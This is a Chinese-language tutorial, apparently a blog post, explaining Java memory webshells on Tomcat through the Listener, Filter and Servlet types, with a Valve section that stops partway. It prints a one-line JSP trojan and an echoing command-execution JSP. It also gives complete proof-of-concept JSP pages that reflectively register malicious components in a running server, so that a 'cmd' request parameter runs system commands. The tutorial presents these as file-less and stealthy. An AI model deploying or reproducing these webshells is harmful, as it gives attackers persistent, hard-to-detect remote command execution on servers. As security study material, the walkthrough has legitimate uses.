参考文章 题目用到的代码地址
内存马的分类
解释一下servlet
就是大致分为这四种 下面会依次讲到
这里的话先了解一下 JSP
是什么
JSP JSP简介 这里主要了解一下 JSP
的语法
JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println
一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。
JSP语法 脚本程序 脚本程序可以包含任意量的Java语句、变量、方法或表达式 ,只要它们在脚本语言中是有效的。脚本程序的格式如下
其等价与下面的XML语句
1 2 3 <jsp:scriptlet > 代码片段 </jsp:scriptlet >
下面是使用实例
1 2 3 4 5 6 <html> <body> <h2>Hello World!</h2> <% out.println("success" );%> </body> </html>
JSP声明 一个声明语句可以声明一个或多个变量、方法 ,供后面的Java代码使用。JSP声明语句格式如下
等同于下面的XML语句
1 2 3 <jsp:declaration > 代码片段 </jsp:declaration >
下面是使用示例
1 2 3 4 5 6 7 <html> <body> <h2>Hello World!</h2> <%! String s = "success" ; <% out.println("s" );%> </body> </html>
JSP表达式 如果JSP表达式中为一个对象,则会自动调用其toString()
方法。格式如下,注意表达式后没有;
等价于下面的XML表达式
1 2 3 <jsp:expression > 表达式 </jsp:expression >
下面是使用示例
1 2 3 4 5 6 7 8 9 <html> <body> <h2>Hello World!!!</h2> <p> <% String name = "Feng" ; %> username:<%=name%> </p> </body> </html>
JSP指令 JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令
指令
描述
<%@ page … %>
定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %>
包含其他文件
<%@ taglib … %>
引入标签库的定义,可以是自定义标签
比如我们能通过page指令来设置jsp页面的编码格式
1 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
使用示例
1 2 3 4 5 6 7 8 9 10 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <html> <body> <h2>Hello World!!!</h2> <p> <% String name = "林" ; %> 用户名:<%=name%> </p> </body> </html>
JSP注释 格式
JSP内置对象 JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
由 JSP 规范提供,不用编写者实例化
通过 Web 容器实现和管理
所有 JSP 页面均可使用
只有在脚本元素的表达式或代码段中才能使用
对象
类型
描述
request
javax.servlet.http.HttpServletRequest
获取用户请求信息
response
javax.servlet.http.HttpServletResponse
响应客户端请求,并将处理信息返回到客户端
response
javax.servlet.jsp.JspWriter
输出内容到 HTML 中
session
javax.servlet.http.HttpSession
用来保存用户信息
application
javax.servlet.ServletContext
所有用户共享信息
config
javax.servlet.ServletConfig
这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext
javax.servlet.jsp.PageContext
JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page
javax.servlet.jsp.HttpJspPage
类似于 Java 类的 this 关键字,表示当前 JSP 页面
exception
java.lang.Throwable
该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象
Java木马 我们先来看看传统的JSP木马是如何实现的
1 <% Runtime.getRuntime().exec(request.getParameter("cmd" ));%>
上面是最简单的一句话木马,没有回显,适合用来反弹shell。下面是一个带回显的JSP木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% if (request.getParameter("cmd" )!=null ){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); BufferedReader bufferedReader = new BufferedReader (new InputStreamReader (in)); String line; PrintWriter printWriter = response.getWriter(); printWriter.write("<pre>" ); while ((line = bufferedReader.readLine()) != null ){ printWriter.println(line); } printWriter.write("</pre>" ); } %>
这就是上面代码的含义
传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。
Tomcat中的三种Context 这里的话就不跟着上面的文章写了
直接看总结就行了
直接用一张图来展示这三者的关系
这三者是我们在学习内存马的时候会经常遇到的
ServletContext
接口的实现类为ApplicationContext
类和ApplicationContextFacade
类,其中ApplicationContextFacade
是对ApplicationContext
类的包装。我们对Context
容器中各种资源进行操作时,最终调用的还是StandardContext
中的方法,因此StandardContext
是Tomcat
中负责与底层交互的Context
。
Tomcat内存马 在学习下面三种类型的内存马的时候可以看看这篇文章 因为这篇文章很好的解释了下面三者的含义
tomcat详解
Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这不正是Java Web核心的三大组件嘛!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.55</version > </dependency >
这里的使用的文件直接就是文章开头的github
地址用的 下载下来导入就行了
Listener型 根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
ServletContextListener
HttpSessionListener
ServletRequestListener
很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。下面我们来实现一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package Listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@WebListener public class Shell_Listener implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd=request.getParameter("cmd" ); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
这里的话模拟动态注册进去的Listener
内存马 (等会我们分析完这个流程就会重新动态的导入一个内存马,并把上面的这个代码给注释掉 )
给这里下个断点 然后debug
一下 得到他的利用栈
分析这个利用栈
StandardContext#fireRequestInitEvent
调用了我们的Listener
,我们跟进看其实现
关键代码有两处,首先通过getApplicationEventListeners()
获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)
方法触发Listener。跟进getApplicationEventListeners()
方法
这里的获取这个Listener
就是关键了 因为就是我们就是恶意构造一个Listener
传进去 然后让其获取加载(不出意外的话继续找下去能找到添加Listener
的地方 )
可以看到Listener实际上是存储在applicationEventListenersList
属性中的
并且我们可以通过StandardContext#addApplicationEventListener()
方法来添加Listener
看到这里的话就和我们刚开始添加的这个Listener
联系到一起了
实际情况中是没有它的 现在我们分析利用链 分析到了这个添加listener
的地方
所以我们就得想办法构造恶意的listener
来添加进去了
获取StandardContext类 下面的工作就是获取StandardContext
类了,在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类
同样地,由于JSP
内置了request
对象,我们也可以使用同样的方式来获取
(一共内置了9个对象 request
是其中一个)
所以获取StandardContext
的方法是
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
这里的request
是 HttpServletRequest
类的对象
先是获取了request对象里面的request属性 然后将该属性设置为可访问
在此行中通过调用该引用上的 get() 方法来获取实际存储在 “request” 字段中的值,并将其强制转换为类型 Request 并赋值给名为 req 的变量(为什么要用这个Request类型 图片上有标注 )
然后就能获取到StandardContext
了
1 2 3 4 <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
这是另一种获取StandardContext
的方法
接下来我们就可以来构造poc
了
先编写一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %>
然后添加监听器
1 2 3 4 <% Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
这里的context
是上面获取的StandardContext
完整POC
获取StandardContext
上下文
实现一个恶意Listener
通过StandardContext#addApplicationEventListener
方法添加恶意Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
将上面的代码连起来解释就是
这里是先获取这个到这个StandardContext
这个类 然后通过这个类里的addApplicationEventListener
来添加我们的恶意Listener
然后添加成功后,这个servlet
的Listener
就会处理我们的http请求 然后如果传进来cmd
的恶意参数的话就会执行
然后访问Listener.jsp
将恶意Listener
写入服务器
然后直接执行就行了
Filter型 这里解释一下这个Filter
是个什么东西
它在java中是起到一个过滤器的作用,就是无论用户访问哪个具体的路径,都会被该过滤器所拦截和处理,然后它将对所有进入应用程序的请求起作用。它可以执行一些预处理或后处理操作,并决定是否继续传递请求给下一个组件(如Servlet)
(这就是为什么可以当内存马的原因了 因为自身也可以对http请求进行预处理)
仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain
实现的
和Listener
一样 最后都是会调用某一个特定的方法
这里是调用这个doFilter()
方法
先来实现一个恶意的Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package Filter; import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException; @WebFilter("/*") public class Shell_Filter implements Filter { @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
这里的话我们在这个doFilter
处打上断点
得到调用栈
跟进ApplicationFilterChain#internalDoFilter
调用了filter.doFilter()
,而filter
是通过filterConfig.getFilter()
得到的,filterConfig
定义如下
我们知道,一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的filters
属性是一个ApplicationFilterConfig数组。我们来寻找一下ApplicationFilterChain.filters
属性在哪里被赋值。
这里的话看调用栈就能找到了
在StandardWrapperValve#invoke
这个方法里面
跟进这个ApplicationFilterFactory#createFilterChain
函数
通过这个函数 我们可以清晰的来分析这个filterChain
的创建过程
首先通过filterChain = new ApplicationFilterChain()
创建一个空的filterChain对象
然后通过wrapper.getParent()
函数来获取StandardContext
对象
接着获取StandardContext
中的FilterMaps
对象,FilterMaps
对象中存储的是各Filter的名称路径等信息
最后根据Filter的名称,在StandardContext
中获取FilterConfig
通过filterChain.addFilter(filterConfig)
将一个filterConfig
添加到filterChain
中
跟进这个ApplicationFilterChain#addFilter
方法
这里就可以看到filters
被赋值的过程
这样的话我们就可以控制调用谁的doFilter()
方法了
所以关键就是将恶意Filter的信息添加进FilterConfig
数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。
FilterConfig、FilterDef和FilterMaps 虽然filterConfig
的赋值方法找到了 但是通过赋值的过程中 还是会用到
FilterDef
和FilterMaps
的
跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext
实际上是包含了这三者的
filterConfigs 其中filterConfigs包含了当前的上下文信息StandardContext
、以及filterDef
等信息
其中filterDef
存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>
标签。
1 2 3 4 <filter > <filter-name > </filter-name > <filter-class > </filter-class > </filter >
可以看到,filterDef必要的属性为filter
、filterClass
以及filterName
。
filterDefs
filterDefs
是一个HashMap
,以键值对的形式存储filterDef
filterMaps filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
1 2 3 4 <filter-mapping > <filter-name > </filter-name > <url-pattern > </url-pattern > </filter-mapping >
filterMaps必要的属性为dispatcherMapping
、filterName
、urlPatterns
于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。
动态注册Filter 经过上面的分析,我们可以总结出动态添加恶意Filter的思路
获取StandardContext对象
(因为要构造那三种filter
都需要StandardContext
StandardContext
包含了那三种filter
)
创建恶意Filter
因为最后是要控制filter的值为我们构造的恶意Filter类
使用FilterDef对Filter进行封装,并添加必要的属性
因为value
是FilterDef
的 然后还得添加下面的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
这里就是上面新建FilterMap
的原因 还有传name和path的原因
使用ApplicationFilterConfig
封装filterDef
,然后将其添加到filterConfigs
中
其实上面的这五个步骤得来的原因都可以追述到前面写的记录 都是先进行逐步分析 然后才得出最终步骤的
第一步————-获取StandardContext对象 StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
1 2 3 4 5 6 7 8 9 10 11 12 ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" );appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" );standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
上述的代码就是根据这一块来写的 从启动时tomcat
自动创建的ServletContext
开始 然后一步一步引导到StandardContext
第二步—————创建恶意Filter 1 2 3 4 5 6 7 8 9 10 11 12 13 public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd=request.getParameter("cmd" ); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
第三步———————使用FilterDef封装filter 1 2 3 4 5 6 7 String name = "CommonFilter" ;FilterDef filterDef = new FilterDef ();filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
第四步————————创建filterMap filterMap用于filter和路径的绑定
1 2 3 4 5 FilterMap filterMap = new FilterMap ();filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
第五步—————-封装filterConfig及filterDef到filterConfigs 封装filterConfig及filterDef到filterConfigs
1 2 3 4 5 6 7 8 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name, filterConfig);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.util.Map" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %> <% Shell_Filter filter = new Shell_Filter (); String name = "CommonFilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
先运行Listener.jsp
然后将内存马写入 然后就可以直接访问了
Servlet型 Servlet创建流程 我们知道Servlet的生命周期分为如下五部分
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()
方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()
方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()
方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
在org.apache.catalina.core.StandardContext
类的startInternal()
方法中,我们能看到Listener->Filter->Servlet
的加载顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ... if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); }if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); } ...
创建StandardWrapper 在StandardContext
#startInternal
中,调用了fireLifecycleEvent()
方法解析web.xml文件,我们跟进
最终通过ContextConfig#webConfig()
方法解析web.xml获取各种配置参数
然后通过configureContext(webXml)
方法创建StandWrapper对象,并根据解析参数初始化StandWrapper
对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void configureContext (WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射
加载StandWrapper 接着在StandardContext#startInternal
方法通过findChildren()
获取StandardWrapper
类
最后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }
注意这里对于Wrapper对象中loadOnStartup
属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()
加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
动态注册Servlet 通过上文的分析我们能够总结出创建Servlet的流程
获取StandardContext
对象
编写恶意Servlet
通过StandardContext.createWrapper()
创建StandardWrapper
对象
这里的StandardContext
可控 所以直接就使用该方法来直接构造
设置StandardWrapper
对象的loadOnStartup
属性值
注意这里对于Wrapper对象中loadOnStartup
属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()
加载调用。
在创建这个对象的时候也会顺便创建这个值
设置StandardWrapper
对象的ServletName
属性值
这是在创建StandardWrapper
的时候可以看到的
也是在创建这个StandardWrapper
的时候会赋值的
设置StandardWrapper
对象的ServletClass
属性值
也是在创建这个StandardWrapper
的时候会赋值的
将StandardWrapper
对象添加进StandardContext
对象的children
属性中
也是在创建这个StandardWrapper
的时候会赋值的
通过StandardContext.addServletMappingDecoded()
添加对应的路径映射
也是在创建这个StandardWrapper
的时候会赋值的
这里的步骤都是基于上面的分析 在这个创建StandardWrapper
的方法中都可以看到是对上述参数的赋值
获取StandardContext对象 这里的获取StandardContext
的方法多种多样 在上面的两种内存马类型都能看到了
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
或者
1 2 3 4 5 6 7 8 9 <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
编写恶意Servlet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %>
创建Wrapper对象 1 2 3 4 5 6 7 8 9 10 <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %>
将Wrapper添加进StandardContext 1 2 3 4 <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
这里的POC就和上面的分析步骤一模一样
先将原本的Shell_Servlet.java
给注释掉 然后写入Servlet.jsp
然后进行访问
然后访问/shell
路由 然后直接cmd
执行命令
Valve型 在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制
。
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector
进行解析,然后发送到Container
进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
这里的话还是可以参考这篇文章 关于tomcat是怎么运行处理的客户端传进的信息的
管道机制流程分析 我们先来看看Pipeline接口,继承了Contained接口
Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()
方法来添加一个Valve。下面我们再来看看Valve接口
其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。
同时Valve可以通过重写invoke()
方法来实现具体的业务逻辑
1 2 3 4 5 6 7 8 class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { ... } } }
